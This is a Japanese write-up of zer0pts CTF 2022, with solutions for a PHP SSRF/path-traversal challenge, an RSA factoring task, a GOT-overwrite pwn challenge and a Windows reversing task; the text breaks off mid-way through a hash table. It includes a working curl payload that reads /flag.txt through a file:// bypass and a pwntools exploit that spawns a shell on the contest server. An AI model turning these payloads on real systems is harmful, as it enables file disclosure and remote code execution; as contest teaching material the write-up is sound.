zer0pts CTF 2022に、一人チームrotation
で参加しました。そのwrite-up記事です。
コンテスト概要
2022/03/19(土) 09:00 +09:00 - 2022/03/20(日) 21:00 +09:00 の開催期間でした。他ルールはトップページから引用します:
[ About ] Welcome to zer0pts CTF 2022! zer0pts CTF is a jeopardy-style CTF. We provide many fun challenges of varying difficulty and categories, and none of them require any guessing skills. [ Contact ] Discord: https://discord.gg/3QrDP2sMYd [ Prizes ] 1st: 800 USD 2nd: 500 USD 3rd: 300 USD 4th: 200 USD 5th: 200 USD [ Rules ] No limit on your team size. Anyone can participate in this CTF: no restriction on your age or nationality. Your rank on the scoreboard depends on: 1) your total number of points (higher is better); 2) the timestamp of your last solved challenge (erlier is better). The survey challenge is special: it does award you some points, but it doesn't update your "last solved challenge" timestamp. You can't get ahead simply by solving the survey faster. You can't brute-force the flags. If you submit 5 incorrect flags in a short succession, the flag submission form will get locked for 5 minutes. One person can participate in only one team. Sharing solutions, hints, or flags with other teams during the competition is strictly forbidden. You are not allowed to attack the scoreserver. You are not allowed to attack other teams. You are not allowed to have multiple accounts. If you can't log in to your account, please contact us on Discord. We reserve the right to ban and disqualify any teams breaking any of these rules. The flag format is zer0pts\{[\x20-\x7e]+\}, unless specified otherwise. Most importantly: good luck and have fun!
結果
正の得点を得ている632チーム中、483点で75位でした。
環境
WindowsとWSL2(Ubuntu)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19044.1586] c:\>wsl -l -v NAME STATE VERSION * Ubuntu Stopped 2 kali-linux Stopped 2 c:\>
他ソフト
- IDA Free Version 7.7.220118 Windows x64 (64-bit address size)
- x64dbg Version Oct 2 2020, 23:08:03
WSL2(Ubuntu)
$ cat /proc/version Linux version 5.10.60.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Aug 25 23:20:18 UTC 2021 $ cat /etc/os-release NAME="Ubuntu" VERSION="18.04.6 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.6 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic $ python3.8 --version Python 3.8.0 $ python3.8 -m pip show pip | grep Version Version: 22.0.4 $ python3.8 -m pip show IPython | grep Version Version: 7.29.0 $ python3.8 -m pip show sympy | grep Version Version: 1.9 $ python3.8 -m pip show pwntools | grep Version Version: 4.7.0 $ g++ --version g++ (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 Copyright (C) 2017 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. $ gdb --version GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". $ cat ~/peda/README | grep -e 'Version: ' -e 'Release: ' Version: 1.0 Release: special public release, Black Hat USA 2012 $ curl --version curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3 Release-Date: 2018-01-24 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL $
解けた問題
[welcome] welcome (49 points, 579 solves)
Check Discord for the flag. We will also announce some important information there.
Discordを見ると、フラグが書かれていました:
ptr-yudai — Today at 9:00 AM 📣 The CTF has just started! 📣 welcome: zer0pts{3nj0y_th3_CTF_t0_W1N!!!!}
フラグを入手できました: zer0pts{3nj0y_th3_CTF_t0_W1N!!!!}
[web, warmup] GitFile Explorer (77 points, 181 solves)
Read /flag.txt on the server. (ここにサーバーへのリンク)
配布ファイルとして、以下のindex.php
がありました:
<?php function h($s) { return htmlspecialchars($s); } function craft_url($service, $owner, $repo, $branch, $file) { if (strpos($service, "github") !== false) { /* GitHub URL */ return $service."/".$owner."/".$repo."/".$branch."/".$file; } else if (strpos($service, "gitlab") !== false) { /* GitLab URL */ return $service."/".$owner."/".$repo."/-/raw/".$branch."/".$file; } else if (strpos($service, "bitbucket") !== false) { /* BitBucket URL */ return $service."/".$owner."/".$repo."/raw/".$branch."/".$file; } return null; } $service = empty($_GET['service']) ? "" : $_GET['service']; $owner = empty($_GET['owner']) ? "ptr-yudai" : $_GET['owner']; $repo = empty($_GET['repo']) ? "ptrlib" : $_GET['repo']; $branch = empty($_GET['branch']) ? "master" : $_GET['branch']; $file = empty($_GET['file']) ? "README.md" : $_GET['file']; if ($service) { $url = craft_url($service, $owner, $repo, $branch, $file); if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) { $result = file_get_contents($url); } } ?> <!-- 以下HTMLが記述されていますが省略 -->
GETで指定したgithub等の内容を表示してくれるサービスです。問題文では/flag.txt
を読み込むようにとあるので、SSRFを使うと検討をつけました。PHPソースを見ると、preg_match
へ与える正規表現にm
修飾子を使っている点が気になりました。それをうまく使うと、1行目でfileプロトコルを指定してflag.txtを読み込ませつつ、何らかの方法でhttpプロトコルらしい指定を無視させられそうです。
httpプロトコルのようなフラグメントやクエリ文字列がfileプロトコルでも使えれば簡単だったのですが、どうにもなさそうでした。しばらく悩んだ後に、../
を使って無視させればいいと気付きました:
$ curl 'http://gitfile.ctf.zer0pts.com:8001/?service=file%3A///aaa%0Ahttps%3A//www.github.com%0A../../../../flag.txt&owner=..&repo=..&branch=..&file=flag.txt' <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>GitFile Explorer</title> <link rel="stylesheet" href="https://cdn.simplecss.org/simple-v1.css"> </head> <body> <header> <h1>GitFile Explorer API Test</h1> <p>Simple API to download files on GitHub/GitLab/BitBucket</p> </header> <main> <form method="GET" action="/"> <label for="service">Service: </label> <select id="service" name="service" autocomplete="off"> <option value="https://raw.githubusercontent.com" selected="selected">GitHub</option> <option value="https://gitlab.com" >GitLab</option> <option value="https://bitbucket.org" >BitBucket</option> </select> <br> <label for="owner">GitHub ID: </label> <input id="owner" name="owner" type="text" placeholder="Repository Owner" value=".."> <br> <label for="repo">Repository Name: </label> <input id="repo" name="repo" type="text" placeholder="Repository Name" value=".."> <br> <label for="branch">Branch: </label> <input id="branch" name="branch" type="text" placeholder="Branch Name" value=".."> <br> <label for="file">File Path: </label> <input id="file" name="file" type="text" placeholder="README.md" value="flag.txt"> <br> <input type="submit" value="Download"> </form> <br> <textarea rows="20" cols="40">zer0pts{foo/bar/../../../../../directory/traversal} </textarea> </main> <footer> <p>zer0pts CTF 2022</p> </footer> </body> </html> $
フラグを入手できました: zer0pts{foo/bar/../../../../../directory/traversal}
[crypto, warmup] Anti-Fermat (90 points, 125 solves)
I invented Anti-Fermat Key Generation for RSA cipher since I'm scared of the Fermat's Factorization Method.
配布ファイルとして、以下のtask.py
と、その出力のoutput.txt
がありました:
from Crypto.Util.number import isPrime, getStrongPrime from gmpy import next_prime from secret import flag # Anti-Fermat Key Generation p = getStrongPrime(1024) q = next_prime(p ^ ((1<<1024)-1)) n = p * q e = 65537 # Encryption m = int.from_bytes(flag, 'big') assert m < n c = pow(m, e, n) print('n = {}'.format(hex(n))) print('c = {}'.format(hex(c)))
n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751 c = 0x60160bfed79384048d0d46b807322e65c037fa90fac9fd08b512a3931b6dca2a745443a9b90de2fa47aaf8a250287e34563e6b1a6761dc0ccb99cb9d67ae1c9f49699651eafb71a74b097fc0def77cf287010f1e7bd614dccfb411cdccbb84c60830e515c05481769bd95e656d839337d430db66abcd3a869c6348616b78d06eb903f8abd121c851696bd4cb2a1a40a07eea17c4e33c6a1beafb79d881d595472ab6ce3c61d6d62c4ef6fa8903149435c844a3fab9286d212da72b2548f087e37105f4657d5a946afd12b1822ceb99c3b407bb40e21163c1466d116d67c16a2a3a79e5cc9d1f6a1054d6be6731e3cd19abbd9e9b23309f87bfe51a822410a62
RSA暗号ですが、q
をp
に依存した方法で決めている点が特徴的です。
いくつかのp
について を計算してみました:
#!/usr/bin/env python3.8 from sympy import nextprime, prevprime n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751 def diff(p): q = nextprime(p ^ ((1<<1024)-1)) return p * q - n print(diff(nextprime(1<<1023))) print(diff(nextprime((1<<1023) + (1<<1022)))) print(diff(prevprime(1<<1024)))
$ ./test.py 4041355956692185644267328637763737452072353002227385259983054402658283918598995543743823086065967720124178577215720119975983874167361701506109824899179468790686557016808932767702991744154459522140314180505014367560442527996066430857428946220649441584099221515552328110045307751937351867397481838984438995282521277336655471048484487807218918522455762020451861069245285056430605432560865893633188620172111087107481016830026148465067384431276800378232901331037294545664224399670837817039346234775429718084784812381927160339133840190827166582431676993510474478130127482251999593390938738745974290219307106420064165543364 2021543077235247687972648844721865454544596585370167507974907813437992972419752362918997997845785628643633704658101493757601401720456018937666815375026451095647127181352620511968604384755106265465560578106010144543143014330902696097314065324494680929687868649800059044864834258716035254359509814039193346108303133565859299707102248488341544649836263944782476740306186493320038941096163345607067436258784168019259434454209205010349989205914633612354800748841599367494655937435598032358547291369215097808573404553233578429407165130871436319021438032647150292784427647569451517523818120902089606829653080534714320647768 -4037895561135566180911390534403750538038672665201485748049531954222879866117977179555477266814760645798000913014754384897546015620261028767662213197432601989471162325016316255234557693442953504558700229091002524508755526664588508183030577363969601033546189947456748150676586220947914584754406260796543601102631308161403635916782949385473688158665022133629716534383348468503200686559274226354796438426529128623127844976245543173460737345973443282682056268897354495964522250553369852575800750288701559888414980017447164134419576867165117995443945172148393022002886329405551562009019275305736370754801121552930560066356 $
どうやらp
が大きくなるほどdiff
が小さくなるようです。それならばと二分探索でdiff
が0になるp
を探してみることにしました:
#!/usr/bin/env python3.8 from sympy import nextprime, prevprime n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751 def sign(x): if x == 0: return x elif x < 0: return -1 else: return 1 def diff(p): # q = nextprime(p ^ ((1<<1024)-1)) q = (p ^ ((1<<1024)-1)) d = (p*q) - n return d low = nextprime(1<<1023) low_d = diff(low) hi = prevprime(1<<1024) hi_d = diff(hi) old_mid = 0 while low <= hi: assert sign(low_d) != sign(hi_d) mid = (low + hi) // 2 assert old_mid != mid old_mid = mid d = diff(mid) print() print(f"{low=}\n{mid=},\n{ hi=},\n{ d=}\n") if d == 0: print(f"p = {mid}") break elif sign(d) == sign(low_d): low = mid low_d = d elif sign(d) == sign(hi_d): hi = mid hi_d = d else: raise Exception("What?")
nextprime
関数は処理に時間がかかるので、p
やq
に素数とは限らない値を使わせる手抜きをしています。これを実行しました:
$ ./test.py (中略) low=153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628970836 mid=153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628970836, hi=153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628970837, d=-41501950570821699053772901267597742320136213197821990158333466775593776448086920000009006604893443365035922929479733834274545186887079473273048763410630089392206334485909446524486087920320201998144379576057384593917208951410929419500615031578419462077742076854278454883893649747381453940865142884241584014389 $
p
のおおよその値がわかったので、後は厳密に調べていくことにしました:
#!/usr/bin/env python3.8 from sympy import nextprime, prevprime n = 0x1ffc7dc6b9667b0dcd00d6ae92fb34ed0f3d84285364c73fbf6a572c9081931be0b0610464152de7e0468ca7452c738611656f1f9217a944e64ca2b3a89d889ffc06e6503cfec3ccb491e9b6176ec468687bf4763c6591f89e750bf1e4f9d6855752c19de4289d1a7cea33b077bdcda3c84f6f3762dc9d96d2853f94cc688b3c9d8e67386a147524a2b23b1092f0be1aa286f2aa13aafba62604435acbaa79f4e53dea93ae8a22655287f4d2fa95269877991c57da6fdeeb3d46270cd69b6bfa537bfd14c926cf39b94d0f06228313d21ec6be2311f526e6515069dbb1b06fe3cf1f62c0962da2bc98fa4808c201e4efe7a252f9f823e710d6ad2fb974949751 c = 0x60160bfed79384048d0d46b807322e65c037fa90fac9fd08b512a3931b6dca2a745443a9b90de2fa47aaf8a250287e34563e6b1a6761dc0ccb99cb9d67ae1c9f49699651eafb71a74b097fc0def77cf287010f1e7bd614dccfb411cdccbb84c60830e515c05481769bd95e656d839337d430db66abcd3a869c6348616b78d06eb903f8abd121c851696bd4cb2a1a40a07eea17c4e33c6a1beafb79d881d595472ab6ce3c61d6d62c4ef6fa8903149435c844a3fab9286d212da72b2548f087e37105f4657d5a946afd12b1822ceb99c3b407bb40e21163c1466d116d67c16a2a3a79e5cc9d1f6a1054d6be6731e3cd19abbd9e9b23309f87bfe51a822410a62 def get_P(): # 先程調べた数の周辺から探す X = 100000 p = nextprime(153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628970836 // X * X) for i in range(2**16): q = nextprime(p ^ ((1<<1024)-1)) d = (p * q) - n print(f"{i=}, {d=}, {p=}") if d == 0: return p p = nextprime(p) else: raise Exception("Not found!") p = get_P() q = nextprime(p ^ ((1<<1024)-1)) assert p*q == n e = 65537 d = pow(e, -1, (p-1)*(q-1)) m = pow(c, d, n) print(m.to_bytes(1024, "big").rstrip(b"\x00").decode())
実行しました:
$ ./solve.py (中略) i=97, d=0, p=153456316755201256456077648680293404551531181234956990242779099773886170192558263224753907666532907469313954439789378399786631549347700474488574017322863270205683350905558827922567834954626909259763623105532668671134932118937640401627676913585506492102157561689678418157863742997375967679975824876706628973287 Good job! Here is the flag: +-----------------------------------------------------------+ | zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d} | +-----------------------------------------------------------+ $
元の文字列はフラグを含んだ複数行の文章だったようです。ともかくフラグを入手できました: zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d}
[pwn, warmup] Modern Rome (97 points, 105 solves)
Ancient numeric system still used in the modern world. nc pwn1.ctf.zer0pts.com 9000
とても悩んだ問題です。配布ファイルとして、以下のchall
と、その元ソースのmain.cpp
がありました:
$ file * chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=56e9bd22c71b88be6d1f336fcfcc733584d27d8c, for GNU/Linux 3.2.0, not stripped main.cpp: C source, ASCII text $ pwn checksec chall [*] '/mnt/d/Documents/work/ctf/zer0pts_CTF_2022/Modern Rome/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) $
#include <string> #include <iostream> short buf[10]; void win() { std::system("/bin/sh"); } short readroman(){ short res = 0; std::string s; std::cin >> s; auto it = s.crbegin(); int b = 1; for (auto c: "IXCM") { int cnt = 0; while (cnt < 9 && it != s.crend() && *it == c) { it++; cnt++; } res += b * cnt; b *= 10; } return res; } int main() { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); std::cout << "ind: "; int ind = readroman(); std::cout << "val: "; int val = readroman(); std::cout << "buf[" << ind << "] = " << val << std::endl; buf[ind] = val; std::exit(0); }
ローマ数字を入力して整数に変換するreadroman
関数があり、その関数を使ってbuf[ind] = val
するmain
関数があるソースです。変数ind
の範囲チェックがないため、グローバル変数buf
周辺の2バイトを変更可能です。win
関数へ制御を飛ばせるとシェルを獲得できます。
一見するとreadroman
関数は0以上9999以下の値のみを返すように見えます。そう考えてbuf
領域以降を見てみましたが、書き換えてもあまり意味が無さそうな領域だけでした。
悩みながらIDAで見ていると、for (auto c: "IXCM")
箇所のループが文字列終端のNUL文字も含めてループしていることに気付きました。思い返してみると、文字列リテラルは配列型であり、配列型のrange-based forは配列すべてを列挙するのでした。考えてみると納得です。そういうわけでreaddoman
関数中では99999以下の値を取れることになり、更にshort
型で扱っているため-32768以上32767以下の任意の値を返すことになると分かりました。
chall
はPartial RELROなのでgotを書き換え可能です。exit
関数が呼ばれたときに代わりにwin
関数へ飛ばしてやると良さそうです。IDAやgdbで確認してみると、exit
関数呼び出し直前のgotの値は0x00000000004010b0
でした。そのため下位2バイトを書き換えてやるとwin
関数のアドレスに変更できます。ここまでわかったので次のコードを書きました:
#!/usr/bin/env python3.8 import pwn # pwn.context.log_level = "DEBUG" def value_to_rome(val): if val < 0: val += 2**16 assert 0 <= val <= 65535 if val == 0: return "_" res = "" d = 10000 for c in "\x00MCXI": while val >= d: val -= d res += c d //= 10 return res def solve(tube): win_addr = 0x4012F6 buf_addr = 0x404340 exit_got_addr = 0x404058 target_index = (exit_got_addr - buf_addr) // 2 target_value = win_addr & 0xFFFF tube.sendlineafter(b"ind: ", value_to_rome(target_index).encode()) tube.sendlineafter(b"val: ", value_to_rome(target_value).encode()) tube.interactive() # with pwn.process("./chall") as tube: solve(tube) with pwn.remote("pwn1.ctf.zer0pts.com", 9000) as tube: solve(tube)
実行しました:
$ ./solve.py [+] Opening connection to pwn1.ctf.zer0pts.com on port 9000: Done [*] Switching to interactive mode buf[-372] = 4854 $ ls chall flag-e194879738a8cfa575199fd0cd7cc598.txt $ cat flag-e194879738a8cfa575199fd0cd7cc598.txt zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es} $ [*] Closed connection to pwn1.ctf.zer0pts.com port 9000 $
フラグを入手できました: zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}
[rev, warmup] service (104 points, 90 solves)
service charge
配布ファイルとして、chall.exe
がありました:
$ file * chall.exe: PE32+ executable (console) x86-64, for MS Windows $
とりあえず実行してみると、入力したフラグを検証してくれる内容でした:
PS C:\Users\WDAGUtilityAccount\Desktop\work> .\chall.exe FLAG: test Wrong... PS C:\Users\WDAGUtilityAccount\Desktop\work>
とりあえずIDAで見てみました。今回は64-bit版バイナリなので、フリー版IDAでもクラウドベースの逆コンパイルができます。見ていると入力フラグが正しいものか検証する関数があったのですが、なぜか文字列引数を整数として使っていたり、OpenServiceなしでCreateServiceを呼び出していたりしました:
// IDAの逆コンパイル表示です BOOL __fastcall IsCorrectFlag(const char *input) { DWORD v2; // [rsp+28h] [rbp-58h] const CHAR *v3; // [rsp+28h] [rbp-58h] DWORD v4; // [rsp+30h] [rbp-50h] DWORD *v5; // [rsp+30h] [rbp-50h] QWORD v6; // [rsp+38h] [rbp-48h] QWORD v7; // [rsp+38h] [rbp-48h] LPCSTR v8; // [rsp+40h] [rbp-40h] DWORD *v9; // [rsp+48h] [rbp-38h] LPCSTR v10; // [rsp+50h] [rbp-30h] LPCSTR v11; // [rsp+58h] [rbp-28h] CHAR BinaryPathName[8]; // [rsp+60h] [rbp-20h] BYREF struct SC_HANDLE__ hSCManager; // [rsp+68h] [rbp-18h] OVERLAPPED BYREF int dwInnerIndex; // [rsp+74h] [rbp-Ch] unsigned int dwOuterIndex; // [rsp+78h] [rbp-8h] int bIsCorrect; // [rsp+7Ch] [rbp-4h] const char *input_1; // [rsp+90h] [rbp+10h] LODWORD(input_1) = (_DWORD)input; bIsCorrect = 1; HIDWORD(v6) = 32; CreateServiceA( &hSCManager, 0i64, 0i64, 0x18u, 0xF0000000, v2, v4, (LPCSTR)v6, v8, v9, v10, v11, *(LPCSTR *)BinaryPathName); for ( dwOuterIndex = 0; dwOuterIndex < HIDWORD(v7); ++dwOuterIndex ) { ChangeServiceConfigA( *(SC_HANDLE *)&hSCManager.unused, CALG_SHA_256, 0, 0, BinaryPathName, v3, v5, (LPCSTR)v7, v8, (LPCSTR)v9, v10); ControlService(*(SC_HANDLE *)BinaryPathName, (_DWORD)input_1 + 2 * dwOuterIndex, (LPSERVICE_STATUS)2); CloseServiceHandle(*(SC_HANDLE *)BinaryPathName); for ( dwInnerIndex = 0; dwInnerIndex <= 31; ++dwInnerIndex ) bIsCorrect = (*((_BYTE *)&v8 + dwInnerIndex) == g_expectedByteArray[32 * dwOuterIndex + dwInnerIndex]) & (unsigned __int8)bIsCorrect; } return bIsCorrect; }
あまりにも奇妙だったのでx64dbgで確かめてみました。すると上記関数でブレークした頃には、サービス系APIではなく暗号系APIを呼び出すようになっていました!TSL callbackがいくつかあったので、おそらくそこでインポートテーブルを変更しているのでしょう。OllyDumpExでEXEとしてダンプしたものをIDAで見直すと、自然な関数呼び出し内容になっていました:
int __fastcall IsCorrectFlag(const char *input) { DWORD dwDataLen; // [rsp+3Ch] [rbp-44h] BYREF BYTE byteArrayCurrentSha256[32]; // [rsp+40h] [rbp-40h] BYREF HCRYPTHASH hHash; // [rsp+60h] [rbp-20h] BYREF HCRYPTPROV hProv; // [rsp+68h] [rbp-18h] BYREF int dwInnerIndex; // [rsp+74h] [rbp-Ch] DWORD dwOuterIndex; // [rsp+78h] [rbp-8h] BOOL bIsCorrect; // [rsp+7Ch] [rbp-4h] bIsCorrect = 1; dwDataLen = 32; CryptAcquireContextA(&hProv, 0i64, 0i64, PROV_RSA_AES, 0xF0000000); for ( dwOuterIndex = 0; dwOuterIndex < dwDataLen; ++dwOuterIndex ) { CryptCreateHash(hProv, CALG_SHA_256, 0i64, 0, &hHash); CryptHashData(hHash, (const BYTE *)&input[2 * dwOuterIndex], 2u, 0); CryptGetHashParam(hHash, HP_HASHVAL, byteArrayCurrentSha256, &dwDataLen, 0); for ( dwInnerIndex = 0; dwInnerIndex <= 31; ++dwInnerIndex ) bIsCorrect &= byteArrayCurrentSha256[dwInnerIndex] == g_expectedSha256AHashArray[32 * dwOuterIndex + dwInnerIndex]; } return bIsCorrect; }
入力を2バイトごとに区切ってSHA256を計算し、それがグローバル変数のものと一致しているか検証している内容です。ここまでわかったのでは検証内容となる入力を復元するソルバーを書きました:
#!/usr/bin/env python3.8 import hashlib # .data:0000000000403020 からの内容 expected_hash_text = """ 33h, 12h, 95h, 67h, 0E0h, 0BDh, 78h, 7Eh, 0FBh, 15h 0A2h, 63h, 7, 0E5h, 31h, 1Eh, 6, 0BAh, 66h, 0E3h, 0B8h 0DBh, 0C2h, 20h, 6Ah, 0D5h, 9Fh, 99h, 78h, 0Ah, 4Dh 78h, 0DDh, 19h, 16h, 96h, 0E1h, 5Eh, 2Eh, 0E2h, 93h 41h, 0Dh, 2, 45h, 4Ch, 5Fh, 94h, 61h, 0A2h, 24h, 9Dh 0EEh, 6Dh, 57h, 0C7h, 5Fh, 26h, 4Eh, 0AEh, 0B8h, 3Ah 37h, 82h, 0E7h, 5Bh, 11h, 0DAh, 69h, 3Dh, 7Bh, 0B5h 27h, 39h, 85h, 0DCh, 0F9h, 0F0h, 27h, 29h, 45h, 5Dh 0A7h, 0E7h, 0C8h, 0Eh, 54h, 0A0h, 61h, 5Eh, 0, 0ECh 2Ah, 0E7h, 6Dh, 8Eh, 4, 24h, 9Eh, 0Ch, 25h, 8Eh, 1Ah 4Eh, 43h, 0CFh, 0DAh, 0E2h, 91h, 0A8h, 35h, 0CDh, 15h 73h, 5Fh, 65h, 0Bh, 0BBh, 0BAh, 4, 65h, 0ADh, 0A1h 0CDh, 98h, 46h, 62h, 2Ah, 0E4h, 22h, 3Eh, 0D2h, 0Dh 7Eh, 0A5h, 74h, 0Ah, 32h, 6Eh, 2Bh, 26h, 8Ch, 0A6h 0DBh, 91h, 0D0h, 41h, 0CFh, 51h, 94h, 0F5h, 77h, 0E3h 93h, 0A8h, 0BAh, 3Bh, 85h, 0D8h, 0E9h, 8Bh, 53h, 63h 9Fh, 15h, 2Ch, 8Fh, 0C6h, 0EFh, 30h, 80h, 2Fh, 0DEh 46h, 2Bh, 0A0h, 0BEh, 9Ch, 0F0h, 85h, 0F7h, 58h, 0Dh 0C6h, 9Eh, 0FDh, 72h, 0E0h, 2, 0ABh, 0BBh, 35h, 1, 17h 83h, 4Bh, 0F6h, 0Dh, 0CFh, 97h, 72h, 29h, 0BFh, 1Eh 98h, 2Ch, 0F9h, 0BCh, 63h, 0B6h, 0Eh, 0F4h, 20h, 52h 0F7h, 0CEh, 7Eh, 80h, 0Ch, 0E1h, 21h, 6Ah, 9Ah, 0F6h 74h, 1Dh, 14h, 0DFh, 73h, 0Eh, 53h, 0A5h, 0A0h, 19h 0A7h, 10h, 11h, 6Fh, 69h, 6Dh, 0B4h, 0ECh, 23h, 0A1h 32h, 0B7h, 4Ch, 0F6h, 0FBh, 0B3h, 0CFh, 76h, 17h, 0E6h 83h, 13h, 0E3h, 0Eh, 58h, 0Ah, 4Ch, 29h, 16h, 0BCh 0FFh, 30h, 0CAh, 4, 7Fh, 2Dh, 6Ah, 49h, 41h, 68h, 0CEh 0AFh, 8Fh, 0B9h, 17h, 10h, 37h, 0A7h, 73h, 0A9h, 0F8h 0E7h, 26h, 8Eh, 29h, 47h, 63h, 75h, 4Ah, 8Eh, 0FDh 4Ch, 73h, 9Dh, 9Fh, 67h, 9Bh, 0FCh, 0A3h, 0ABh, 51h 1, 6, 0F4h, 2Dh, 0DBh, 5Dh, 0C0h, 21h, 6Bh, 0A8h, 0BCh 98h, 0BAh, 31h, 58h, 46h, 0C9h, 0E2h, 20h, 99h, 0EEh 4Bh, 0FEh, 54h, 0A9h, 9Ah, 3Ch, 0DBh, 0AFh, 69h, 0F1h 7Fh, 7Ch, 6Eh, 25h, 81h, 0B9h, 2Fh, 7Bh, 0ABh, 25h 12h, 8Fh, 0D2h, 10h, 0Bh, 7Ah, 68h, 0DBh, 0F7h, 3Dh 3, 0D3h, 0A5h, 10h, 7Eh, 0DAh, 0D3h, 0B0h, 56h, 76h 0EEh, 0E2h, 40h, 0E6h, 8Ch, 28h, 2, 96h, 0E5h, 2Bh 69h, 86h, 87h, 3Ch, 54h, 0CEh, 0F3h, 0CBh, 0C1h, 81h 8Dh, 58h, 0Dh, 8Ch, 8Bh, 0C1h, 11h, 30h, 2Fh, 4Ah, 5Eh 69h, 3, 0EFh, 2Dh, 32h, 0B1h, 1Ah, 56h, 13h, 0EFh, 0BAh 50h, 76h, 93h, 0DEh, 80h, 60h, 0FBh, 8Ch, 44h, 0ADh 63h, 0F6h, 0Ah, 0F0h, 0F6h, 0DBh, 6Fh, 0DDh, 0E6h, 0D5h 18h, 6Eh, 0F7h, 81h, 76h, 36h, 7Dh, 0F2h, 61h, 0FAh 6, 0BEh, 30h, 79h, 0B6h, 0C8h, 0Ch, 8Ah, 0DBh, 0A4h 46h, 0C9h, 0E2h, 20h, 99h, 0EEh, 4Bh, 0FEh, 54h, 0A9h 9Ah, 3Ch, 0DBh, 0AFh, 69h, 0F1h, 7Fh, 7Ch, 6Eh, 25h 81h, 0B9h, 2Fh, 7Bh, 0ABh, 25h, 12h, 8Fh, 0D2h, 10h 0Bh, 